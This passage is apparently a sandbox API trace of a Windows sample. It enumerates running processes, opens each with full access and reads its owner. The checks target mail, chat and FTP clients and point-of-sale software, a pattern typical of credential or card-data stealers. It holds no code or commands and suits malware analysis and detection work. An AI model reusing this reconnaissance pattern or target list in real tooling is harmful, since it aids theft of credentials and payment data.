	[0132.644] SetLastError (dwErrCode=0x0) 
	[0132.645] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9f0) returned 0x160
	[0132.645] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2a0) returned 1
	[0132.645] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.645] GetProcessHeap () returned 0x380000
	[0132.645] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.645] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.645] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.647] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.649] GetProcessHeap () returned 0x380000
	[0132.649] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.649] CloseHandle (hObject=0x160) returned 1
	[0132.649] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0132.651] SetLastError (dwErrCode=0x0) 
	[0132.651] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa00) returned 0x160
	[0132.652] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x29c) returned 1
	[0132.652] GetTokenInformation (in: TokenHandle=0x29c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.652] GetProcessHeap () returned 0x380000
	[0132.652] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.652] GetTokenInformation (in: TokenHandle=0x29c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.652] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.654] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3fbec0, cchName=0x1948f8, ReferencedDomainName=0x401800, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.655] GetProcessHeap () returned 0x380000
	[0132.655] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.655] CloseHandle (hObject=0x160) returned 1
	[0132.656] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0132.659] SetLastError (dwErrCode=0x0) 
	[0132.659] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa10) returned 0x160
	[0132.659] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2a4) returned 1
	[0132.659] GetTokenInformation (in: TokenHandle=0x2a4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.660] GetProcessHeap () returned 0x380000
	[0132.660] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.660] GetTokenInformation (in: TokenHandle=0x2a4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.660] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.661] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3fbec0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.663] GetProcessHeap () returned 0x380000
	[0132.663] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.663] CloseHandle (hObject=0x160) returned 1
	[0132.663] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0132.666] SetLastError (dwErrCode=0x0) 
	[0132.666] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa20) returned 0x160
	[0132.666] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2a8) returned 1
	[0132.666] GetTokenInformation (in: TokenHandle=0x2a8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.666] GetProcessHeap () returned 0x380000
	[0132.666] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.666] GetTokenInformation (in: TokenHandle=0x2a8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.667] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.668] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3fbec0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.669] GetProcessHeap () returned 0x380000
	[0132.669] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.669] CloseHandle (hObject=0x160) returned 1
	[0132.670] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0132.672] SetLastError (dwErrCode=0x0) 
	[0132.673] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa30) returned 0x160
	[0132.673] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2ac) returned 1
	[0132.673] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.673] GetProcessHeap () returned 0x380000
	[0132.673] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.673] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.673] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.675] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3fbec0, cchName=0x1948f8, ReferencedDomainName=0x401800, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.676] GetProcessHeap () returned 0x380000
	[0132.676] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.676] CloseHandle (hObject=0x160) returned 1
	[0132.677] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0132.679] SetLastError (dwErrCode=0x0) 
	[0132.679] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa40) returned 0x160
	[0132.679] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2b0) returned 1
	[0132.679] GetTokenInformation (in: TokenHandle=0x2b0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.680] GetProcessHeap () returned 0x380000
	[0132.680] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.680] GetTokenInformation (in: TokenHandle=0x2b0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.680] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.681] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3fbec0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.813] GetProcessHeap () returned 0x380000
	[0132.813] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.814] CloseHandle (hObject=0x160) returned 1
	[0132.814] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0132.817] SetLastError (dwErrCode=0x0) 
	[0132.817] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa50) returned 0x160
	[0132.817] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2c8) returned 1
	[0132.817] GetTokenInformation (in: TokenHandle=0x2c8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.817] GetProcessHeap () returned 0x380000
	[0132.817] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.817] GetTokenInformation (in: TokenHandle=0x2c8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.817] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.819] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.821] GetProcessHeap () returned 0x380000
	[0132.821] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.821] CloseHandle (hObject=0x160) returned 1
	[0132.821] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0132.823] SetLastError (dwErrCode=0x0) 
	[0132.823] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa60) returned 0x160
	[0132.824] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2d0) returned 1
	[0132.824] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.824] GetProcessHeap () returned 0x380000
	[0132.824] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.824] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.824] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.826] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.827] GetProcessHeap () returned 0x380000
	[0132.827] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.827] CloseHandle (hObject=0x160) returned 1
	[0132.827] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0132.830] SetLastError (dwErrCode=0x0) 
	[0132.830] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa70) returned 0x160
	[0132.830] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2d4) returned 1
	[0132.830] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.830] GetProcessHeap () returned 0x380000
	[0132.830] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.830] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.830] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.832] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.833] GetProcessHeap () returned 0x380000
	[0132.834] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.834] CloseHandle (hObject=0x160) returned 1
	[0132.834] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0132.836] SetLastError (dwErrCode=0x0) 
	[0132.836] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa80) returned 0x160
	[0132.836] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2d8) returned 1
	[0132.836] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.837] GetProcessHeap () returned 0x380000
	[0132.837] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.837] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.837] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0132.839] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.840] GetProcessHeap () returned 0x380000
	[0132.840] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.840] CloseHandle (hObject=0x160) returned 1
	[0132.840] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0132.843] SetLastError (dwErrCode=0x0) 
	[0132.843] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa90) returned 0x160
	[0132.843] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x2dc) returned 1
	[0132.843] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.843] GetProcessHeap () returned 0x380000
	[0132.843] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.843] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0132.844] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
